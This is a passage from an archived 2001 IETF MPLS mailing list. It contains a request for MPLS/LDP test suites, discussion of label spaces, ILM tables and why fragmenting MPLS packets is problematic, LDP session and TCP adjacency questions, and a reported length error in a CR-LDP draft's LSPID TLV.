	id QQkpcm26598
	for <mpls@uu.net>; Tue, 15 May 2001 11:13:07 GMT
Received: from samar (localhost [127.0.0.1])
	by samar.sasken.com (8.11.3/8.11.3) with SMTP id f4FBCgb14730
	for <mpls@uu.net>; Tue, 15 May 2001 16:42:42 +0530 (IST)
Received: from debashish (pcd-1-150.sasi.com [10.0.19.150])
	by sund2.sasi.com (8.9.3/8.9.3) with SMTP id QAA18965
	for <mpls@uu.net>; Tue, 15 May 2001 16:39:08 +0530 (IST)
Message-ID: <004501c0dd2f$78a737c0$9613000a@sasi.com>
From: "Rajesh P Jain" <rpjain@sasken.com>
To: "MPLS Mailing List" <mpls@UU.NET>
Subject: MPLS Test Suite
Date: Tue, 15 May 2001 16:39:12 +0530
Organization: SASKEN Communication Technologies Limited
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0042_01C0DD5D.924EAAE0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-mpls@UU.NET
Precedence: bulk


This is a multi-part message in MIME format.

------=_NextPart_000_0042_01C0DD5D.924EAAE0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

"Hi",
            Can anyone give pointers on MPLS Test Suites which can be =
used for testing the MPLS/LDP architecture. (Basically, RFC 3031 & RFC =
3036 compliance) ?

Thanks in Advance
                            Rajesh P Jain




------=_NextPart_000_0042_01C0DD5D.924EAAE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>"Hi",</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; Can anyone give pointers on MPLS Test Suites which =
can be=20
used for testing the MPLS/LDP architecture. (Basically, RFC 3031 &amp; =
RFC 3036=20
compliance) ?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks in Advance</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; Rajesh P Jain</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0042_01C0DD5D.924EAAE0--



From owner-mpls@UU.NET  Tue May 15 08:19:23 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA23131
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 08:19:23 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpcr15921;
	Tue, 15 May 2001 12:18:10 GMT
Received: by mail-control.mail.uu.net 
	id QQkpcr19508
	for mpls-outgoing; Tue, 15 May 2001 12:17:37 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpcr19488
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 12:17:24 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpcq16029
	for <mpls@uu.net>; Tue, 15 May 2001 12:14:40 GMT
Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkpcq09921
	for <mpls@uu.net>; Tue, 15 May 2001 12:14:39 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4FCEcd09031
	for <mpls@uu.net>; Tue, 15 May 2001 05:14:38 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id IAA14806 for mpls@uu.net; Tue, 15 May 2001 08:14:36 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpcq08283
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 12:02:25 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpcq17595
	for <mpls@UU.NET>; Tue, 15 May 2001 12:01:59 GMT
Received: from hotmail.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f70.law4.hotmail.com [216.33.149.70])
	id QQkpcq16020
	for <mpls@UU.NET>; Tue, 15 May 2001 12:01:59 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Tue, 15 May 2001 05:01:58 -0700
Received: from 192.35.17.233 by lw4fd.law4.hotmail.msn.com with HTTP;	Tue, 15 May 2001 12:01:58 GMT
X-Originating-IP: [192.35.17.233]
From: "Sherry Wei" <sherry_wei@hotmail.com>
To: ytr@123india.com
Cc: mpls@UU.NET
Subject: About the data space of the label stack.
Date: Tue, 15 May 2001 12:01:58 
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F70GR881Np7vXee4fDG0000bb80@hotmail.com>
X-OriginalArrivalTime: 15 May 2001 12:01:58.0776 (UTC) FILETIME=[D7F8E780:01C0DD36]
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi all,

I am a student now writing my master thesis on MPLS node structure. I have a 
doubt about the label stack. Does each level of the label stack have the 
different label space, or does each have its own label look up table?

Also in the swapping of the label values, does every port have its own 
outgoing label look up table?

To YTR:
Only a small error. You mentioned that "At the egress IP module will 
reconstruct the IP packet when it gets from MPLS module."
In RFC3032, it is described that "Reassembly of the fragments will be done 
at the destination host."

Thanks,

Sherry

Von: ytr@123india.com [mailto:ytr@123india.com]
Gesendet am: Dienstag, 15. Mai 2001 10:55
An: mgoel@hss.hns.com
Cc: mpls@UU.NET
Betreff: Re: Fragmentation and reassembly of MPLS packets

Hi Mohit,
    If my understanding is correct, its impossible to do fragmentation 
without
IP header.  one has to remove (preserve for later use) MPLS label stack and
check IP DF bit in IP header. If its set generate ICMP packets otherwise,
fragment IP packet keep the depth of the label stack in mind and reconstruct 
the
fragmented packets with MPLS label stack and forwards those based on the top
label. At the egress IP module will reconsruct the IP packet when it gets 
from
MPLS module.

If I am wrong pls correct me.

Thanks
YTR

On Tue, 15 May 2001, mgoel@hss.hns.com wrote:

>
>
>
>Hi all,
>
>Section 3 of RFC 3032 discusses the procedure for fragmenting the labeled 
>as
>well as unlabeled MPLS packet. In IP there are fields in the datagram 
>header
>(IDENTIFICATION, FLAGS, and FRAGMENT OFFSET) which control fragmentation 
>and
>reassembely of datagrams. But in MPLS header there are no such fields 
>defined.
>So how does reassembly of the fragmented MPLS packets happens at the
destination
>host.
>
>Thanks in advance
>Mohit


_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.



From owner-mpls@UU.NET  Tue May 15 08:36:16 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA23636
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 08:36:16 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpcs21955;
	Tue, 15 May 2001 12:34:33 GMT
Received: by mail-control.mail.uu.net 
	id QQkpcs20787
	for mpls-outgoing; Tue, 15 May 2001 12:34:01 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpcs20775
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 12:33:52 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpcs06538
	for <mpls@UU.NET>; Tue, 15 May 2001 12:33:25 GMT
From: ytr@123india.com
Received: from c001.zsm.cp.net by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: c001-h001.c001.zsm.cp.net [209.228.56.115])
	id QQkpcs14972
	for <mpls@UU.NET>; Tue, 15 May 2001 12:33:24 GMT
Received: (cpmta 25 invoked from network); 15 May 2001 05:33:23 -0700
Date: 15 May 2001 05:33:23 -0700
Message-ID: <20010515123323.24.cpmta@c001.zsm.cp.net>
X-Sent: 15 May 2001 12:33:23 GMT
Received: from [192.52.59.67] by mail.123india.com with HTTP;
    15 May 2001 05:33:23 PDT
Content-Type: text/plain
Content-Disposition: inline
Mime-Version: 1.0
To: sherry_wei@hotmail.com
Cc: mpls@UU.NET
X-Mailer: Web Mail 3.9.2.3
Subject: Re: About the data space of the label stack.
X-Sent-From: ytr@123india.com
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi sherry,
  Thanks for correction. What I mean the reconstruct is reassembly only :-). 
  Regading your label stack qn: 
    Label space should be same for all the label which are going to POP at same LSR.  Regarding tables, usally    these are per system (I mean not port wise). If label space is per platform then, there is no ambiguty in identifying labels in tabels. If label space is per port, then u need one more parameter to identify labels in tables, usally this parameter will be the label space. Remember there will be separate label space for each port. So when LSR receives MPLS Pkt it extracts label from TOP of the stack and it gets label space with help of port number which it received the pkt. With this LSR finds ILM entry. U can find NHLFE info from ILM.
If I am wrong pls let me know

Thanks
YTR 


 

On Tue, 15 May 2001, "Sherry Wei" wrote:

> 
> Hi all,
> 
> I am a student now writing my master thesis on MPLS node structure. I have a 
> doubt about the label stack. Does each level of the label stack have the 
> different label space, or does each have its own label look up table?
> 
> Also in the swapping of the label values, does every port have its own 
> outgoing label look up table?
> 
> To YTR:
> Only a small error. You mentioned that "At the egress IP module will 
> reconstruct the IP packet when it gets from MPLS module."
> In RFC3032, it is described that "Reassembly of the fragments will be done 
> at the destination host."
> 
> Thanks,
> 
> Sherry
> 
> Von: ytr@123india.com [mailto:ytr@123india.com]
> Gesendet am: Dienstag, 15. Mai 2001 10:55
> An: mgoel@hss.hns.com
> Cc: mpls@UU.NET
> Betreff: Re: Fragmentation and reassembly of MPLS packets
> 
> Hi Mohit,
>     If my understanding is correct, its impossible to do fragmentation 
> without
> IP header.  one has to remove (preserve for later use) MPLS label stack and
> check IP DF bit in IP header. If its set generate ICMP packets otherwise,
> fragment IP packet keep the depth of the label stack in mind and reconstruct 
> the
> fragmented packets with MPLS label stack and forwards those based on the top
> label. At the egress IP module will reconsruct the IP packet when it gets 
> from
> MPLS module.
> 
> If I am wrong pls correct me.
> 
> Thanks
> YTR
> 
> On Tue, 15 May 2001, mgoel@hss.hns.com wrote:
> 
> >
> >
> >
> >Hi all,
> >
> >Section 3 of RFC 3032 discusses the procedure for fragmenting the labeled 
> >as
> >well as unlabeled MPLS packet. In IP there are fields in the datagram 
> >header
> >(IDENTIFICATION, FLAGS, and FRAGMENT OFFSET) which control fragmentation 
> >and
> >reassembely of datagrams. But in MPLS header there are no such fields 
> >defined.
> >So how does reassembly of the fragmented MPLS packets happens at the
> destination
> >host.
> >
> >Thanks in advance
> >Mohit
> 
> 
> _________________________________________________________________________
> Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.


______________________________________________________
123India.com - India's Premier Portal 
Get your Free Email Account at http://www.123india.com




From owner-mpls@UU.NET  Tue May 15 09:05:38 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA24759
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 09:05:37 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpcu10749;
	Tue, 15 May 2001 13:04:19 GMT
Received: by mail-control.mail.uu.net 
	id QQkpcu04152
	for mpls-outgoing; Tue, 15 May 2001 13:03:47 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpcu03750
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 13:03:27 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpcu17959
	for <mpls@UU.NET>; Tue, 15 May 2001 13:01:40 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f123.law4.hotmail.com [216.33.149.123])
	id QQkpcu05620
	for <mpls@UU.NET>; Tue, 15 May 2001 13:01:39 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Tue, 15 May 2001 06:01:39 -0700
Received: from 192.35.17.233 by lw4fd.law4.hotmail.msn.com with HTTP;	Tue, 15 May 2001 13:01:38 GMT
X-Originating-IP: [192.35.17.233]
From: "Sherry Wei" <sherry_wei@hotmail.com>
To: ytr@123india.com
Cc: mpls@UU.NET
Subject: Re: About the data space of the label stack.
Date: Tue, 15 May 2001 13:01:38 
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F123CCtgx8VUkRacUtI0000bc3e@hotmail.com>
X-OriginalArrivalTime: 15 May 2001 13:01:39.0052 (UTC) FILETIME=[2DFBAAC0:01C0DD3F]
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi YTR,

Thank you for your quick reply. What I mean is that the reconstruct or 
reassembly should be done in the IP destination host instead of egress node 
of MPLS networks.

About the ILM table, if it is per system based(each MPLS node has one ILM 
table), how to distinguish between two same label values which located in 
different level of the label stack? For example, one node looks up the up 
most label value and gets 5. Then it looks into the ILM table and knows that 
it should pop up this label entry and looks into the next label entry. It is 
possible that the next label entry also has the value 5. Maybe at this time, 
the operation should be label swapping. But from the according ILM table, 
the node will pop up this label entry again.

Thanks,

Sherry

>From: ytr@123india.com
>To: sherry_wei@hotmail.com
>CC: mpls@UU.NET
>Subject: Re: About the data space of the label stack.
>Date: 15 May 2001 05:33:23 -0700
>
>Hi sherry,
>   Thanks for correction. What I mean the reconstruct is reassembly only 
>:-).
>   Regading your label stack qn:
>     Label space should be same for all the label which are going to POP at 
>same LSR.  Regarding tables, usally    these are per system (I mean not 
>port wise). If label space is per platform then, there is no ambiguty in 
>identifying labels in tabels. If label space is per port, then u need one 
>more parameter to identify labels in tables, usally this parameter will be 
>the label space. Remember there will be separate label space for each port. 
>So when LSR receives MPLS Pkt it extracts label from TOP of the stack and 
>it gets label space with help of port number which it received the pkt. 
>With this LSR finds ILM entry. U can find NHLFE info from ILM.
>If I am wrong pls let me know
>
>Thanks
>YTR
>
>
>
>
>On Tue, 15 May 2001, "Sherry Wei" wrote:
>
> >
> > Hi all,
> >
> > I am a student now writing my master thesis on MPLS node structure. I 
>have a
> > doubt about the label stack. Does each level of the label stack have the
> > different label space, or does each have its own label look up table?
> >
> > Also in the swapping of the label values, does every port have its own
> > outgoing label look up table?
> >
> > To YTR:
> > Only a small error. You mentioned that "At the egress IP module will
> > reconstruct the IP packet when it gets from MPLS module."
> > In RFC3032, it is described that "Reassembly of the fragments will be 
>done
> > at the destination host."
> >
> > Thanks,
> >
> > Sherry
> >
> > Von: ytr@123india.com [mailto:ytr@123india.com]
> > Gesendet am: Dienstag, 15. Mai 2001 10:55
> > An: mgoel@hss.hns.com
> > Cc: mpls@UU.NET
> > Betreff: Re: Fragmentation and reassembly of MPLS packets
> >
> > Hi Mohit,
> >     If my understanding is correct, its impossible to do fragmentation
> > without
> > IP header.  one has to remove (preserve for later use) MPLS label stack 
>and
> > check IP DF bit in IP header. If its set generate ICMP packets 
>otherwise,
> > fragment IP packet keep the depth of the label stack in mind and 
>reconstruct
> > the
> > fragmented packets with MPLS label stack and forwards those based on the 
>top
> > label. At the egress IP module will reconsruct the IP packet when it 
>gets
> > from
> > MPLS module.
> >
> > If I am wrong pls correct me.
> >
> > Thanks
> > YTR
> >
> > On Tue, 15 May 2001, mgoel@hss.hns.com wrote:
> >
> > >
> > >
> > >
> > >Hi all,
> > >
> > >Section 3 of RFC 3032 discusses the procedure for fragmenting the 
>labeled
> > >as
> > >well as unlabeled MPLS packet. In IP there are fields in the datagram
> > >header
> > >(IDENTIFICATION, FLAGS, and FRAGMENT OFFSET) which control 
>fragmentation
> > >and
> > >reassembely of datagrams. But in MPLS header there are no such fields
> > >defined.
> > >So how does reassembly of the fragmented MPLS packets happens at the
> > destination
> > >host.
> > >
> > >Thanks in advance
> > >Mohit
> >
> >
> > 
>_________________________________________________________________________
> > Get Your Private, Free E-mail from MSN Hotmail at 
>http://www.hotmail.com.
>
>
>______________________________________________________
>123India.com - India's Premier Portal
>Get your Free Email Account at http://www.123india.com
>
>

_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.



From owner-mpls@UU.NET  Tue May 15 09:32:53 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA26275
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 09:32:53 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpcw08372;
	Tue, 15 May 2001 13:31:24 GMT
Received: by mail-control.mail.uu.net 
	id QQkpcw15605
	for mpls-outgoing; Tue, 15 May 2001 13:30:50 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpcw15475
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 13:30:29 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpcw28874
	for <mpls@UU.NET>; Tue, 15 May 2001 13:30:16 GMT
Received: from sandmail.sandburst.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkpcw06276
	for <mpls@UU.NET>; Tue, 15 May 2001 13:30:16 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 4F74094009; Tue, 15 May 2001 09:30:16 -0400 (EDT)
Message-ID: <3B012F68.D5C579@sandburst.com>
Date: Tue, 15 May 2001 09:30:16 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: ytr@123india.com
Cc: mgoel@hss.hns.com, mpls@UU.NET
Subject: Re: Fragmentation and reassembly of MPLS packets
References: <20010515085231.17567.cpmta@c001.zsm.cp.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

    Fragmentation of MPLS packets is, in general, a pretty bad idea.

    The main issue is knowing that the first thing after the last label
is in fact a 'normal' IP packet.  If you cannot predictably determine
this, then you do not know how valid the fields of the 'IP header'
are and it could be disastrous to attempt either to 'return' an ICMP
error message to the 'Source IP Address' (which may be random
data if the packet has a compressed RTP/UDP/IP header or is
encrypted) or to fragment the packet.

    One might be able to infer 'reliably' that - if the FEC associated
with an LSP is an IPv4 FEC, and there is only one label in the label
stack - the following header is a normal IPv4 header.  This should
always be the case if the LSP was established using LDP for hop
by hop routing.  So, if - while forwarding the packet - you can be
mindful of how the LSP was created and you know that there is
only one label in the stack, you may be able to do IP fragmentation
of an MPLS labeled packet.

    Considering that the dominant application for MPLS seems to be
based on LSP tunneling using explicit routes (as opposed to hop by
hop routed LSPs), it does not seem likely that scenarios where it
makes sense to attempt to fragment MPLS packets are likely to be
the common case.

--
Eric Gray

YTR wrote:

> Hi Mohit,
>     If my understanding is correct, its impossible to do fragmentation without IP header.  one has to remove (preserve for later use) MPLS label stack and check IP DF bit in IP header. If its set generate ICMP packets otherwise, fragment IP packet keep the depth of the label stack in mind and reconstruct the fragmented packets with MPLS label stack and forwards those based on the top label. At the egress IP module will reconsruct the IP packet when it gets from MPLS module.
>
> If I am wrong pls correct me.
>
> Thanks
> YTR
>
> On Tue, 15 May 2001, mgoel@hss.hns.com wrote:
>
> >
> >
> >
> > Hi all,
> >
> > Section 3 of RFC 3032 discusses the procedure for fragmenting the labeled as
> > well as unlabeled MPLS packet. In IP there are fields in the datagram header
> > (IDENTIFICATION, FLAGS, and FRAGMENT OFFSET) which control fragmentation and
> > reassembely of datagrams. But in MPLS header there are no such fields defined.
> > So how does reassembly of the fragmented MPLS packets happens at the destination
> > host.
> >
> > Thanks in advance
> > Mohit
>
> ______________________________________________________
> 123India.com - India's Premier Portal
> Get your Free Email Account at http://www.123india.com



From owner-mpls@UU.NET  Tue May 15 09:40:42 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA26681
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 09:40:42 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpcw20903;
	Tue, 15 May 2001 13:38:29 GMT
Received: by mail-control.mail.uu.net 
	id QQkpcw16448
	for mpls-outgoing; Tue, 15 May 2001 13:37:58 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpcw16419
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 13:37:36 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpcw12877
	for <mpls@UU.NET>; Tue, 15 May 2001 13:37:33 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkpcw13423
	for <mpls@UU.NET>; Tue, 15 May 2001 13:37:33 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 44C7294009; Tue, 15 May 2001 09:37:29 -0400 (EDT)
Message-ID: <3B013119.CC03F376@sandburst.com>
Date: Tue, 15 May 2001 09:37:29 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Bob Thomas <rhthomas@cisco.com>
Cc: Haseeb Budhani <haseeb@ipinfusion.com>, mpls@UU.NET
Subject: Re: Multiple adjacencies per session.
References: <200105151054.GAA17584@rhthomas-sun2.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Haseeb,

    To add to Bob's reply to your question #2 below, TCP connections
are not normally associated with a single link when multiple links
(adjacencies) exist between the IP entities that TCP connects.  TCP
connections are from IP entity to IP entity.  How TCP packets get from
one IP entity to the other, when there is more than one way, is largely a
local choice for the packet's sender.

--
Eric Gray

Bob Thomas wrote:

> Haseeb,
>
> > I have a few simple questions pertaining to the existence of multiple
> > adjacencies per session, which RFC3036 says can only happen for
> > point-to-point links (2.5.5 : Maintianing Hello Adjacencies)
>
> RFC3036 does not say this can happen only for point-to-point links.
> It cites the case of muliple PPP links between a pair of LSRs as an
> example.
>
> > 1. Does one "session" between two peers denote one TCP connection
> > between the two ??
>
> Yes, one session means one TCP connection.
>
> > 2. If the answer to (1) is Yes, does this mean that for n adjacencies in
> > a session, only one -- the primary -- adjacency has an active
> > TCP connection, which it uses to exchange LDP specific information, and
> > the other n-1 adjacencies remain "idle" ?
>
> I don't know what you mean by "idle".  The hello discovery adjacencies
> associated with an LDP session are equivalent in their role of maintaining
> the LDP session.
>
> > 3. If the answer to (1) is No, is there a TCP connection set up for
> > every adjacency, and is this TCP connection used to exchange
> > LDP specific data ??
>
> The answer to (1) is yes; there is 1 TCP connection per session.
>
> Bob
>
> > Please get back to me at your earliest convenience.
> >
> > Thank. :)



From owner-mpls@UU.NET  Tue May 15 10:15:44 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA28175
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 10:15:44 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpcy16283;
	Tue, 15 May 2001 14:14:13 GMT
Received: by mail-control.mail.uu.net 
	id QQkpcy09282
	for mpls-outgoing; Tue, 15 May 2001 14:13:40 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpcy09268
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 14:13:26 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpcy24322
	for <mpls@UU.NET>; Tue, 15 May 2001 14:13:22 GMT
Received: from saraswathi.hclt.co.in by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.64.6])
	id QQkpcy15550
	for <mpls@UU.NET>; Tue, 15 May 2001 14:13:21 GMT
Received: from gayatri.hclt.com (GAYATRI [192.168.232.199]) by saraswathi.hclt.co.in with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id K82SYHW4; Tue, 15 May 2001 19:55:18 +0530
Received: from MALLIKPC ([192.168.232.162]) by gayatri.hclt.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id J9Y85D3K; Tue, 15 May 2001 19:54:59 +0530
From: "gopinathg" <gopinathg@hclt.com>
To: <mpls@UU.NET>
Cc: <eric.gray@sandburst.com>
Subject: lenght in LSPIDTLV
Date: Tue, 15 May 2001 19:49:42 +0530
Message-ID: <001701c0dd4a$16340440$a2e8a8c0@hclt.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi

     In  section 4.5  (LSPID TLV) of  draft-ietf-mpls-crldp-05.txt   says
"   Length
         Specifies the length of the value field in bytes = 4."

   0                   1                   2                   3
   0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |0|0|       Type = 0x0821       |      Length = 4               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |       Reserved        |ActFlg |      Local CR-LSP ID          |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                       Ingress LSR Router ID                   |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

The length should be 8 insteadof  4,  because  Reserved+ActFlg+LocalCR-LSP
ID is
4 octets and IngressLSRRouter ID is 4 octets.

Thanks In Advance
gopinathg



From owner-mpls@UU.NET  Tue May 15 12:08:36 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA01509
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 12:08:35 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpdg08639;
	Tue, 15 May 2001 16:05:56 GMT
Received: by mail-control.mail.uu.net 
